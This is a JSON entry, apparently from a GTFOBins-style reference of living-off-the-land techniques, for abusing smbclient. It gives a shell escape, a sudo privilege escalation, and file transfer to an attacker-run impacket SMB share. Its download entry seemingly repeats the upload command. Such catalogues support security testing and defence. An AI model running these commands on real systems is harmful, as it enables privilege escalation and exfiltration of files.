You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
27 lines
875 B
JSON
27 lines
875 B
JSON
{
|
|
"description": "A valid SMB/CIFS server must be available.",
|
|
"functions": {
|
|
"shell": [
|
|
{
|
|
"code": "smbclient '\\\\[host]\\share'\n!/bin/sh\n"
|
|
}
|
|
],
|
|
"file-upload": [
|
|
{
|
|
"description": "Install 'https://github.com/SecureAuthCorp/impacket' and run 'sudo smbserver.py share /tmp' on the attacker box to collect the file.",
|
|
"code": "smbclient '\\\\[host]\\share' -c 'put [source_file] [destination_file]'\n"
|
|
}
|
|
],
|
|
"file-download": [
|
|
{
|
|
"description": "Install 'https://github.com/SecureAuthCorp/impacket' and run 'sudo smbserver.py share /tmp' on the attacker box to send the file.",
|
|
"code": "smbclient '\\\\[host]\\share' -c 'put [source_file] [destination_file]'\n"
|
|
}
|
|
],
|
|
"sudo": [
|
|
{
|
|
"code": "sudo smbclient '\\\\[host]\\share'\n!/bin/sh\n"
|
|
}
|
|
]
|
|
}
|
|
} |